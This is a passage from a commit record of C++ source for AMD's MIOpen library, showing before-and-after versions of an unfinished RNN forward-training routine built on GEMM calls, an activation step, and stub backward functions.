TensorDescriptor& yDesc,\n\tData_t y,\n\/\/\tconst TensorDescriptor& hyDesc,\n\tData_t hy,\n\/\/\tconst TensorDescriptor& cyDesc,\n\tData_t cy,\n\tData_t workSpace,\n\tsize_t workSpaceSize,\n\tData_t reserveSpace,\n\tsize_t reserveSpaceSize,\n\tconst std::vector<int> &in_n,\n\tconst int in_h,\n\tconst int hy_d,\n\tconst int hy_n,\n\tconst int hy_h,\n\tconst int out_h) const\n{\/*\n\tif (x == nullptr || w == nullptr || y == nullptr)\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\tif (xDesc.GetSize() != yDesc.GetSize() || xDesc.GetSize() != wDesc.GetSize())\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\tif (xDesc.GetType() != yDesc.GetType() || xDesc.GetType() != wDesc.GetType())\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n*\/\n\/\/\tint in_n, in_c, in_h, in_w;\n\t\/\/\t\tstd::tie(in_n, in_c, in_h, in_w) = tie4(xDesc.GetLengths());\n\n\/\/\tint out_h, out_w;\n\t\/\/\t\tstd::tie(std::ignore, std::ignore, out_h, out_w) = tie4(yDesc.GetLengths());\n\/*\n\tif (workSpace == nullptr ||\n\t\tworkSpaceSize < ForwardGetWorkSpaceSize(handle, wDesc, xDesc, yDesc) || reserveSpaceSize < ForwardGetReserveSpaceSize(handle, wDesc, xDesc, yDesc))\n\t{\n\t\tMIOPEN_THROW(\"Workspace is required\");\n\t}\n\t*\/\n\n\/\/\tmiopenRNNMode_t mode;\n\/\/\tint seqLength;\n\/\/\tint layer;\n\/\/\tint bidir;\n\/\/\tint bias;\n\n\tint batch_n = std::accumulate(in_n.begin(), in_n.end(), 0);\n\n\tbool bidirection = (bidir != 0);\n\tbool biased = (bias != 0);\n\tint numlayer = layer;\n\tint bacc, baccbi;\n\tint bi = bidirection ? 2 : 1;\n\n\tint wei_len = (bi * (in_h + hy_h + out_h) + (numlayer - 1) * bi * (bi + 1) * hy_h) * hy_h;\n\tif (biased)\n\t{\n\t\twei_len += (bi * 2 + (numlayer - 1) * bi * (bi + 1)) * hy_h + bi * out_h;\n\t}\n\n\tint wei_shift_bias =\n\t\t((in_h + hy_h + out_h) * bi + (bi * hy_h + hy_h) * bi * (numlayer - 1)) * hy_h;\n\tint in_stride = in_h;\n\tint hy_stride = hy_h * bi;\n\tint h_stride = hy_h * bi;\n\tint out_stride = out_h;\n\tint wei_stride = hy_h * bi;\n\n\tif (mode == miopenRNNRELU || mode == miopenRNNTANH)\n\t{\t\t\t\t\n#if MIOPEN_USE_MIOPENGEMM\n\n\t\tprintf(\"rnn gpu \\n\");\n\t\tcl_command_queue Q = (cl_command_queue)handle.GetStream();\n\n\t\tfor (int li = 0; li < numlayer; li++)\n\t\t{\n\t\t\tint hid_shift = li * batch_n * hy_h * bi;\n\t\t\tint hx_shift = li * bi * in_n[0] * hy_h;\n\n\t\t\t\/\/ from input\n\t\t\tif (li == 0)\n\t\t\t{\n\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\tfalse,\n\t\t\t\t\tfalse,\n\t\t\t\t\tbatch_n,\n\t\t\t\t\thy_h * bi,\n\t\t\t\t\tin_h,\n\t\t\t\t\t1,\n\t\t\t\t\tx,\n\t\t\t\t\t0,\n\t\t\t\t\tin_stride,\n\t\t\t\t\tw,\n\t\t\t\t\t0,\n\t\t\t\t\twei_stride,\n\t\t\t\t\t1,\n\t\t\t\t\treserveSpace,\n\t\t\t\t\thid_shift,\n\t\t\t\t\thy_stride,\n\t\t\t\t\t&Q,\n\t\t\t\t\t0,\n\t\t\t\t\tnullptr,\n\t\t\t\t\tnullptr);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tint wei_shift = bi * (in_h + hy_h) * hy_h + (li - 1) * bi * (bi * hy_h + hy_h) * hy_h;\n\t\t\t\tint prelayer_shift = (li - 1) * batch_n * hy_h * bi;\n\n\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\tfalse,\n\t\t\t\t\tfalse,\n\t\t\t\t\tbatch_n,\n\t\t\t\t\thy_h * bi,\n\t\t\t\t\thy_h * bi,\n\t\t\t\t\t1,\n\t\t\t\t\tworkSpace,\n\t\t\t\t\tprelayer_shift,\n\t\t\t\t\thy_stride,\n\t\t\t\t\tw,\n\t\t\t\t\twei_shift,\n\t\t\t\t\twei_stride,\n\t\t\t\t\t1,\n\t\t\t\t\treserveSpace,\n\t\t\t\t\thid_shift,\n\t\t\t\t\thy_stride,\n\t\t\t\t\t&Q,\n\t\t\t\t\t0,\n\t\t\t\t\tnullptr,\n\t\t\t\t\tnullptr);\n\t\t\t}\n\t\t\t\n\n\t\t\t\/\/ from hidden state\n\t\t\tbacc = 0;\n\t\t\tbaccbi = batch_n;\n\t\t\tfor (int ti = 0; ti < seqLen; ti++)\n\t\t\t{\n\t\t\t\tbaccbi -= in_n[seqLen - 1 - ti];\n\n\t\t\t\tint wei_shift =\n\t\t\t\t\tli == 0 ? (in_h * hy_h * bi)\n\t\t\t\t\t: (bi * (in_h + hy_h) * hy_h + (li - 1) * bi * (bi * hy_h + hy_h) * hy_h +\n\t\t\t\t\t\tbi * hy_h * hy_stride);\n\n\t\t\t\tif (ti == 0)\n\t\t\t\t{\n\t\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\t\tfalse,\n\t\t\t\t\t\tfalse,\n\t\t\t\t\t\tin_n[ti],\n\t\t\t\t\t\thy_h,\n\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t1,\n\t\t\t\t\t\thx,\n\t\t\t\t\t\thx_shift,\n\t\t\t\t\t\th_stride,\n\t\t\t\t\t\tw,\n\t\t\t\t\t\twei_shift,\n\t\t\t\t\t\twei_stride,\n\t\t\t\t\t\t1,\n\t\t\t\t\t\treserveSpace,\n\t\t\t\t\t\thid_shift + bacc * hy_stride,\n\t\t\t\t\t\thy_stride,\n\t\t\t\t\t\t&Q,\n\t\t\t\t\t\t0,\n\t\t\t\t\t\tnullptr,\n\t\t\t\t\t\tnullptr);\n\n\t\t\t\t\tif (bidirection)\n\t\t\t\t\t{\n\t\t\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\tin_n[seqLen - 1 - ti],\n\t\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t\t1,\n\t\t\t\t\t\t\thx,\n\t\t\t\t\t\t\thx_shift + hy_h,\n\t\t\t\t\t\t\th_stride,\n\t\t\t\t\t\t\tw,\n\t\t\t\t\t\t\twei_shift + hy_h,\n\t\t\t\t\t\t\twei_stride,\n\t\t\t\t\t\t\t1,\n\t\t\t\t\t\t\treserveSpace,\n\t\t\t\t\t\t\thid_shift + baccbi * hy_stride + hy_h,\n\t\t\t\t\t\t\thy_stride,\n\t\t\t\t\t\t\t&Q,\n\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\tnullptr,\n\t\t\t\t\t\t\tnullptr);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\t\tfalse,\n\t\t\t\t\t\tfalse,\n\t\t\t\t\t\tin_n[ti],\n\t\t\t\t\t\thy_h,\n\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t1,\n\t\t\t\t\t\thy,\n\t\t\t\t\t\thx_shift,\n\t\t\t\t\t\th_stride,\n\t\t\t\t\t\tw,\n\t\t\t\t\t\twei_shift,\n\t\t\t\t\t\twei_stride,\n\t\t\t\t\t\t1,\n\t\t\t\t\t\treserveSpace,\n\t\t\t\t\t\thid_shift + bacc * hy_stride,\n\t\t\t\t\t\thy_stride,\n\t\t\t\t\t\t&Q,\n\t\t\t\t\t\t0,\n\t\t\t\t\t\tnullptr,\n\t\t\t\t\t\tnullptr);\n\n\t\t\t\t\tif (bidirection)\n\t\t\t\t\t{\n\t\t\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\tin_n[seqLen - 1 - ti],\n\t\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t\t1,\n\t\t\t\t\t\t\thy,\n\t\t\t\t\t\t\thx_shift + hy_h,\n\t\t\t\t\t\t\th_stride,\n\t\t\t\t\t\t\tw,\n\t\t\t\t\t\t\twei_shift + hy_h,\n\t\t\t\t\t\t\twei_stride,\n\t\t\t\t\t\t\t1,\n\t\t\t\t\t\t\treserveSpace,\n\t\t\t\t\t\t\thid_shift + baccbi * hy_stride + hy_h,\n\t\t\t\t\t\t\thy_stride,\n\t\t\t\t\t\t\t&Q,\n\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\tnullptr,\n\t\t\t\t\t\t\tnullptr);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tint rsv_sz = batch_n * hy_d * hy_h;\n\t\t\t\tstd::vector<int> rsv_size(3, 1);\n\t\t\t\trsv_size.push_back(rsv_sz);\n\n\t\t\t\tmiopenTensorDescriptor_t rsvTensor;\n\t\t\t\tmiopenCreateTensorDescriptor(&rsvTensor);\n\t\t\t\tSetTensor4d(rsvTensor, rsv_size);\n\n\t\t\t\tmiopenActivationDescriptor_t activDesc;\n\t\t\t\tmiopenCreateActivationDescriptor(&activDesc);\n\n\t\t\t\tmiopenActivationMode_t amode;\n\t\t\t\tamode = (mode == miopenRNNRELU) ? miopenActivationRELU : miopenActivationLOGISTIC;\n\t\t\t\tmiopenSetActivationDescriptor(activDesc, amode, 1, 0, 1);\n\n\t\t\t\tmiopenActivationForward(GetHandle(),\n\t\t\t\t\tactivDesc,\n\t\t\t\t\t1,\n\t\t\t\t\trsvTensor,\n\t\t\t\t\treserveSpace,\n\t\t\t\t\t0,\n\t\t\t\t\trsvTensor,\n\t\t\t\t\tworkSpace);\n\n\t\t\t\tbacc += in_n[ti];\n\t\t\t}\n\n\t\t\t\n\n\t\t}\n\n\t\tint prelayer_shift = (numlayer - 1) * batch_n * hy_h * bi;\n\t\tint wei_shift = bi * (in_h + hy_h) * hy_h + (numlayer - 1) * bi * (bi * hy_h + hy_h) * hy_h;\n\n\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\tfalse,\n\t\t\ttrue,\n\t\t\tbatch_n,\n\t\t\tout_h,\n\t\t\thy_h * bi,\n\t\t\t1,\n\t\t\tworkSpace,\n\t\t\tprelayer_shift,\n\t\t\thy_stride,\n\t\t\tw,\n\t\t\twei_shift,\n\t\t\twei_stride,\n\t\t\t1,\n\t\t\ty,\n\t\t\t0,\n\t\t\tout_stride,\n\t\t\t&Q,\n\t\t\t0,\n\t\t\tnullptr,\n\t\t\tnullptr);\n\n\t\tclFinish(Q);\n#else\n\t\tMIOPEN_THROW(\"GEMM is not supported\");\n#endif\n\t}\n\telse if (mode == miopenLSTM)\n\t{\n\t\tprintf(\"lstm gpu \\n\");\n\t}\n\telse if (mode == miopenGRU)\n\t{\n\t\tprintf(\"gru gpu \\n\");\n\t}\n\t\n};\n\nvoid RNNDescriptor::RNNBackwardData(Handle& handle,\n\tconst int seqLen,\n\tconst TensorDescriptor& yDesc,\n\tConstData_t y,\n\tconst TensorDescriptor& dyDesc,\n\tConstData_t dy,\n\tconst TensorDescriptor& dhyDesc,\n\tConstData_t dhy,\n\tconst TensorDescriptor& dcyDesc,\n\tConstData_t dcy,\n\tconst TensorDescriptor& wDesc,\n\tConstData_t w,\n\tconst TensorDescriptor& hxDesc,\n\tConstData_t hx,\n\tconst TensorDescriptor& cxDesc,\n\tConstData_t cx,\n\tconst TensorDescriptor& dxDesc,\n\tData_t dx,\n\tconst TensorDescriptor& dhxDesc,\n\tData_t dhx,\n\tconst TensorDescriptor& dcxDesc,\n\tData_t dcx,\n\tData_t workSpace,\n\tsize_t workSpaceSize,\n\tConstData_t reserveSpace,\n\tsize_t reserveSpaceSize) const\n{\n\t\/*\n\tif (dx == nullptr || w == nullptr || dy == nullptr)\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\tif (dyDesc.GetSize() != dxDesc.GetSize() || dyDesc.GetSize() != wDesc.GetSize())\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\tif (dyDesc.GetType() != dxDesc.GetType() || dyDesc.GetType() != wDesc.GetType())\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\n\n\t*\/\n\n        int in_n, in_c, in_h, in_w;\n\t\/\/\t\tstd::tie(in_n, in_c, in_h, in_w) = tie4(xDesc.GetLengths());\n\n\tint wei_n, wei_h, wei_w;\n\t\/\/\t\tstd::tie(wei_n, std::ignore, wei_h, wei_w) = tie4(wDesc.GetLengths());\n\n\tint out_h, out_w;\n\t\/\/\t\tstd::tie(std::ignore, std::ignore, out_h, out_w) = tie4(yDesc.GetLengths());\n};\n\nvoid RNNDescriptor::RNNBackwardWeights(Handle& handle,\n\tconst int seqLen,\n\tconst TensorDescriptor& xDesc,\n\tConstData_t x,\n\tconst TensorDescriptor& hxDesc,\n\tConstData_t hx,\n\tconst TensorDescriptor& dyDesc,\n\tConstData_t dy,\n\tConstData_t workSpace,\n\tsize_t workSpaceSize,\n\tconst TensorDescriptor& dwDesc,\n\tData_t dw,\n\tConstData_t reserveSpace,\n\tsize_t reserveSpaceSize) const\n{\n\n        int in_n, in_c, in_h, in_w;\n\t\/\/\t\tstd::tie(in_n, in_c, in_h, in_w) = tie4(xDesc.GetLengths());\n\n\tint wei_n, wei_h, wei_w;\n\t\/\/\t\tstd::tie(wei_n, std::ignore, wei_h, wei_w) = tie4(wDesc.GetLengths());\n\n\tint out_h, out_w;\n\t\/\/\t\tstd::tie(std::ignore, std::ignore, out_h, out_w) = tie4(yDesc.GetLengths());\n};\n\n} \/\/ namespace miopen\n<commit_msg>activ......<commit_after>\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2017 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n#include <..\/driver\/tensor_driver.hpp>\n#include <..\/driver\/driver.hpp>\n#include <miopen\/rnn.hpp>\n#include <miopen\/env.hpp>\n#include <miopen\/util.hpp>\n#include <miopen\/float_equal.hpp>\n#include <vector>\n#include <numeric>\n\n#include <miopengemm\/gemm.hpp>\n\nnamespace miopen {\n\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_DEBUG_CONV_DIRECT)\n\nstruct AutoEnableProfiling\n{\n    AutoEnableProfiling(Handle& x) : h(x)\n    {\n        prev_state = h.IsProfilingEnabled();\n        h.EnableProfiling();\n    }\n\n    ~AutoEnableProfiling()\n    {\n        h.EnableProfiling(prev_state);\n        h.ResetKernelTime();\n    }\n\n    private:\n    Handle& h;\n    bool prev_state;\n};\n\n\nvoid RNNDescriptor::RNNForwardTraining(Handle& handle,\n\tconst int seqLen,\n\/\/\tconst TensorDescriptor& xDesc,\n\tConstData_t x,\n\/\/\tconst TensorDescriptor& hxDesc,\n\tConstData_t hx,\n\/\/\tconst TensorDescriptor& cxDesc,\n\tConstData_t cx,\n\/\/\tconst TensorDescriptor& wDesc,\n\tConstData_t w,\n\/\/\tconst TensorDescriptor& yDesc,\n\tData_t y,\n\/\/\tconst TensorDescriptor& hyDesc,\n\tData_t hy,\n\/\/\tconst TensorDescriptor& cyDesc,\n\tData_t cy,\n\tData_t workSpace,\n\tsize_t workSpaceSize,\n\tData_t reserveSpace,\n\tsize_t reserveSpaceSize,\n\tconst std::vector<int> &in_n,\n\tconst int in_h,\n\tconst int hy_d,\n\tconst int hy_n,\n\tconst int hy_h,\n\tconst int out_h) const\n{\/*\n\tif (x == nullptr || w == nullptr || y == nullptr)\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\tif (xDesc.GetSize() != yDesc.GetSize() || xDesc.GetSize() != wDesc.GetSize())\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\tif (xDesc.GetType() != yDesc.GetType() || xDesc.GetType() != wDesc.GetType())\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n*\/\n\/\/\tint in_n, in_c, in_h, in_w;\n\t\/\/\t\tstd::tie(in_n, in_c, in_h, in_w) = tie4(xDesc.GetLengths());\n\n\/\/\tint out_h, out_w;\n\t\/\/\t\tstd::tie(std::ignore, std::ignore, out_h, out_w) = tie4(yDesc.GetLengths());\n\/*\n\tif (workSpace == nullptr ||\n\t\tworkSpaceSize < ForwardGetWorkSpaceSize(handle, wDesc, xDesc, yDesc) || reserveSpaceSize < ForwardGetReserveSpaceSize(handle, wDesc, xDesc, yDesc))\n\t{\n\t\tMIOPEN_THROW(\"Workspace is required\");\n\t}\n\t*\/\n\n\/\/\tmiopenRNNMode_t mode;\n\/\/\tint seqLength;\n\/\/\tint layer;\n\/\/\tint bidir;\n\/\/\tint bias;\n\n\tint batch_n = std::accumulate(in_n.begin(), in_n.end(), 0);\n\n\tbool bidirection = (bidir != 0);\n\tbool biased = (bias != 0);\n\tint numlayer = layer;\n\tint bacc, baccbi;\n\tint bi = bidirection ? 2 : 1;\n\n\tint wei_len = (bi * (in_h + hy_h + out_h) + (numlayer - 1) * bi * (bi + 1) * hy_h) * hy_h;\n\tif (biased)\n\t{\n\t\twei_len += (bi * 2 + (numlayer - 1) * bi * (bi + 1)) * hy_h + bi * out_h;\n\t}\n\n\tint wei_shift_bias =\n\t\t((in_h + hy_h + out_h) * bi + (bi * hy_h + hy_h) * bi * (numlayer - 1)) * hy_h;\n\tint in_stride = in_h;\n\tint hy_stride = hy_h * bi;\n\tint h_stride = hy_h * bi;\n\tint out_stride = out_h;\n\tint wei_stride = hy_h * bi;\n\n\tif (mode == miopenRNNRELU || mode == miopenRNNTANH)\n\t{\t\t\t\t\n#if MIOPEN_USE_MIOPENGEMM\n\n\t\tprintf(\"rnn gpu \\n\");\n\t\tcl_command_queue Q = (cl_command_queue)handle.GetStream();\n\n\t\tfor (int li = 0; li < numlayer; li++)\n\t\t{\n\t\t\tint hid_shift = li * batch_n * hy_h * bi;\n\t\t\tint hx_shift = li * bi * in_n[0] * hy_h;\n\n\t\t\t\/\/ from input\n\t\t\tif (li == 0)\n\t\t\t{\n\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\tfalse,\n\t\t\t\t\tfalse,\n\t\t\t\t\tbatch_n,\n\t\t\t\t\thy_h * bi,\n\t\t\t\t\tin_h,\n\t\t\t\t\t1,\n\t\t\t\t\tx,\n\t\t\t\t\t0,\n\t\t\t\t\tin_stride,\n\t\t\t\t\tw,\n\t\t\t\t\t0,\n\t\t\t\t\twei_stride,\n\t\t\t\t\t1,\n\t\t\t\t\treserveSpace,\n\t\t\t\t\thid_shift,\n\t\t\t\t\thy_stride,\n\t\t\t\t\t&Q,\n\t\t\t\t\t0,\n\t\t\t\t\tnullptr,\n\t\t\t\t\tnullptr);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tint wei_shift = bi * (in_h + hy_h) * hy_h + (li - 1) * bi * (bi * hy_h + hy_h) * hy_h;\n\t\t\t\tint prelayer_shift = (li - 1) * batch_n * hy_h * bi;\n\n\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\tfalse,\n\t\t\t\t\tfalse,\n\t\t\t\t\tbatch_n,\n\t\t\t\t\thy_h * bi,\n\t\t\t\t\thy_h * bi,\n\t\t\t\t\t1,\n\t\t\t\t\tworkSpace,\n\t\t\t\t\tprelayer_shift,\n\t\t\t\t\thy_stride,\n\t\t\t\t\tw,\n\t\t\t\t\twei_shift,\n\t\t\t\t\twei_stride,\n\t\t\t\t\t1,\n\t\t\t\t\treserveSpace,\n\t\t\t\t\thid_shift,\n\t\t\t\t\thy_stride,\n\t\t\t\t\t&Q,\n\t\t\t\t\t0,\n\t\t\t\t\tnullptr,\n\t\t\t\t\tnullptr);\n\t\t\t}\n\t\t\t\n\n\t\t\t\/\/ from hidden state\n\t\t\tbacc = 0;\n\t\t\tbaccbi = batch_n;\n\t\t\tfor (int ti = 0; ti < seqLen; ti++)\n\t\t\t{\n\t\t\t\tbaccbi -= in_n[seqLen - 1 - ti];\n\n\t\t\t\tint wei_shift =\n\t\t\t\t\tli == 0 ? (in_h * hy_h * bi)\n\t\t\t\t\t: (bi * (in_h + hy_h) * hy_h + (li - 1) * bi * (bi * hy_h + hy_h) * hy_h +\n\t\t\t\t\t\tbi * hy_h * hy_stride);\n\n\t\t\t\tif (ti == 0)\n\t\t\t\t{\n\t\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\t\tfalse,\n\t\t\t\t\t\tfalse,\n\t\t\t\t\t\tin_n[ti],\n\t\t\t\t\t\thy_h,\n\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t1,\n\t\t\t\t\t\thx,\n\t\t\t\t\t\thx_shift,\n\t\t\t\t\t\th_stride,\n\t\t\t\t\t\tw,\n\t\t\t\t\t\twei_shift,\n\t\t\t\t\t\twei_stride,\n\t\t\t\t\t\t1,\n\t\t\t\t\t\treserveSpace,\n\t\t\t\t\t\thid_shift + bacc * hy_stride,\n\t\t\t\t\t\thy_stride,\n\t\t\t\t\t\t&Q,\n\t\t\t\t\t\t0,\n\t\t\t\t\t\tnullptr,\n\t\t\t\t\t\tnullptr);\n\n\t\t\t\t\tif (bidirection)\n\t\t\t\t\t{\n\t\t\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\tin_n[seqLen - 1 - ti],\n\t\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t\t1,\n\t\t\t\t\t\t\thx,\n\t\t\t\t\t\t\thx_shift + hy_h,\n\t\t\t\t\t\t\th_stride,\n\t\t\t\t\t\t\tw,\n\t\t\t\t\t\t\twei_shift + hy_h,\n\t\t\t\t\t\t\twei_stride,\n\t\t\t\t\t\t\t1,\n\t\t\t\t\t\t\treserveSpace,\n\t\t\t\t\t\t\thid_shift + baccbi * hy_stride + hy_h,\n\t\t\t\t\t\t\thy_stride,\n\t\t\t\t\t\t\t&Q,\n\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\tnullptr,\n\t\t\t\t\t\t\tnullptr);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\t\tfalse,\n\t\t\t\t\t\tfalse,\n\t\t\t\t\t\tin_n[ti],\n\t\t\t\t\t\thy_h,\n\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t1,\n\t\t\t\t\t\thy,\n\t\t\t\t\t\thx_shift,\n\t\t\t\t\t\th_stride,\n\t\t\t\t\t\tw,\n\t\t\t\t\t\twei_shift,\n\t\t\t\t\t\twei_stride,\n\t\t\t\t\t\t1,\n\t\t\t\t\t\treserveSpace,\n\t\t\t\t\t\thid_shift + bacc * hy_stride,\n\t\t\t\t\t\thy_stride,\n\t\t\t\t\t\t&Q,\n\t\t\t\t\t\t0,\n\t\t\t\t\t\tnullptr,\n\t\t\t\t\t\tnullptr);\n\n\t\t\t\t\tif (bidirection)\n\t\t\t\t\t{\n\t\t\t\t\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\tin_n[seqLen - 1 - ti],\n\t\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t\thy_h,\n\t\t\t\t\t\t\t1,\n\t\t\t\t\t\t\thy,\n\t\t\t\t\t\t\thx_shift + hy_h,\n\t\t\t\t\t\t\th_stride,\n\t\t\t\t\t\t\tw,\n\t\t\t\t\t\t\twei_shift + hy_h,\n\t\t\t\t\t\t\twei_stride,\n\t\t\t\t\t\t\t1,\n\t\t\t\t\t\t\treserveSpace,\n\t\t\t\t\t\t\thid_shift + baccbi * hy_stride + hy_h,\n\t\t\t\t\t\t\thy_stride,\n\t\t\t\t\t\t\t&Q,\n\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\tnullptr,\n\t\t\t\t\t\t\tnullptr);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tint rsv_sz = batch_n * hy_d * hy_h;\n\t\t\t\tstd::vector<int> rsv_size(3, 1);\n\t\t\t\trsv_size.push_back(rsv_sz);\n\n\t\t\t\tmiopenTensorDescriptor_t rsvTensor;\n\t\t\t\tmiopenCreateTensorDescriptor(&rsvTensor);\n\t\t\t\tSetTensor4d(rsvTensor, rsv_size);\n\n\t\t\t\tmiopenActivationDescriptor_t activDesc;\n\t\t\t\tmiopenCreateActivationDescriptor(&activDesc);\n\n\t\t\t\tmiopenActivationMode_t amode;\n\t\t\t\tamode = (mode == miopenRNNRELU) ? miopenActivationRELU : miopenActivationLOGISTIC;\n\t\t\t\tmiopenSetActivationDescriptor(activDesc, amode, 1, 0, 1);\n\n\t\t\t\tmiopenActivationForward(GetHandle(),\n\t\t\t\t\tactivDesc,\n\t\t\t\t\t1,\n\t\t\t\t\trsvTensor,\n\t\t\t\t\treserveSpace,\n\t\t\t\t\t0,\n\t\t\t\t\trsvTensor,\n\t\t\t\t\tworkSpace);\n\n\t\t\t\tbacc += in_n[ti];\n\t\t\t}\n\n\t\t\t\n\n\t\t}\n\n\t\tint prelayer_shift = (numlayer - 1) * batch_n * hy_h * bi;\n\t\tint wei_shift = bi * (in_h + hy_h) * hy_h + (numlayer - 1) * bi * (bi * hy_h + hy_h) * hy_h;\n\n\t\tMIOpenGEMM::gemm0<float>(false,\n\t\t\tfalse,\n\t\t\ttrue,\n\t\t\tbatch_n,\n\t\t\tout_h,\n\t\t\thy_h * bi,\n\t\t\t1,\n\t\t\tworkSpace,\n\t\t\tprelayer_shift,\n\t\t\thy_stride,\n\t\t\tw,\n\t\t\twei_shift,\n\t\t\twei_stride,\n\t\t\t1,\n\t\t\ty,\n\t\t\t0,\n\t\t\tout_stride,\n\t\t\t&Q,\n\t\t\t0,\n\t\t\tnullptr,\n\t\t\tnullptr);\n\n\t\tclFinish(Q);\n#else\n\t\tMIOPEN_THROW(\"GEMM is not supported\");\n#endif\n\t}\n\telse if (mode == miopenLSTM)\n\t{\n\t\tprintf(\"lstm gpu \\n\");\n\t}\n\telse if (mode == miopenGRU)\n\t{\n\t\tprintf(\"gru gpu \\n\");\n\t}\n\t\n};\n\nvoid RNNDescriptor::RNNBackwardData(Handle& handle,\n\tconst int seqLen,\n\tconst TensorDescriptor& yDesc,\n\tConstData_t y,\n\tconst TensorDescriptor& dyDesc,\n\tConstData_t dy,\n\tconst TensorDescriptor& dhyDesc,\n\tConstData_t dhy,\n\tconst TensorDescriptor& dcyDesc,\n\tConstData_t dcy,\n\tconst TensorDescriptor& wDesc,\n\tConstData_t w,\n\tconst TensorDescriptor& hxDesc,\n\tConstData_t hx,\n\tconst TensorDescriptor& cxDesc,\n\tConstData_t cx,\n\tconst TensorDescriptor& dxDesc,\n\tData_t dx,\n\tconst TensorDescriptor& dhxDesc,\n\tData_t dhx,\n\tconst TensorDescriptor& dcxDesc,\n\tData_t dcx,\n\tData_t workSpace,\n\tsize_t workSpaceSize,\n\tConstData_t reserveSpace,\n\tsize_t reserveSpaceSize) const\n{\n\t\/*\n\tif (dx == nullptr || w == nullptr || dy == nullptr)\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\tif (dyDesc.GetSize() != dxDesc.GetSize() || dyDesc.GetSize() != wDesc.GetSize())\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\tif (dyDesc.GetType() != dxDesc.GetType() || dyDesc.GetType() != wDesc.GetType())\n\t{\n\t\tMIOPEN_THROW(miopenStatusBadParm);\n\t}\n\n\n\t*\/\n\n        int in_n, in_c, in_h, in_w;\n\t\/\/\t\tstd::tie(in_n, in_c, in_h, in_w) = tie4(xDesc.GetLengths());\n\n\tint wei_n, wei_h, wei_w;\n\t\/\/\t\tstd::tie(wei_n, std::ignore, wei_h, wei_w) = tie4(wDesc.GetLengths());\n\n\tint out_h, out_w;\n\t\/\/\t\tstd::tie(std::ignore, std::ignore, out_h, out_w) = tie4(yDesc.GetLengths());\n};\n\nvoid RNNDescriptor::RNNBackwardWeights(Handle& handle,\n\tconst int seqLen,\n\tconst TensorDescriptor& 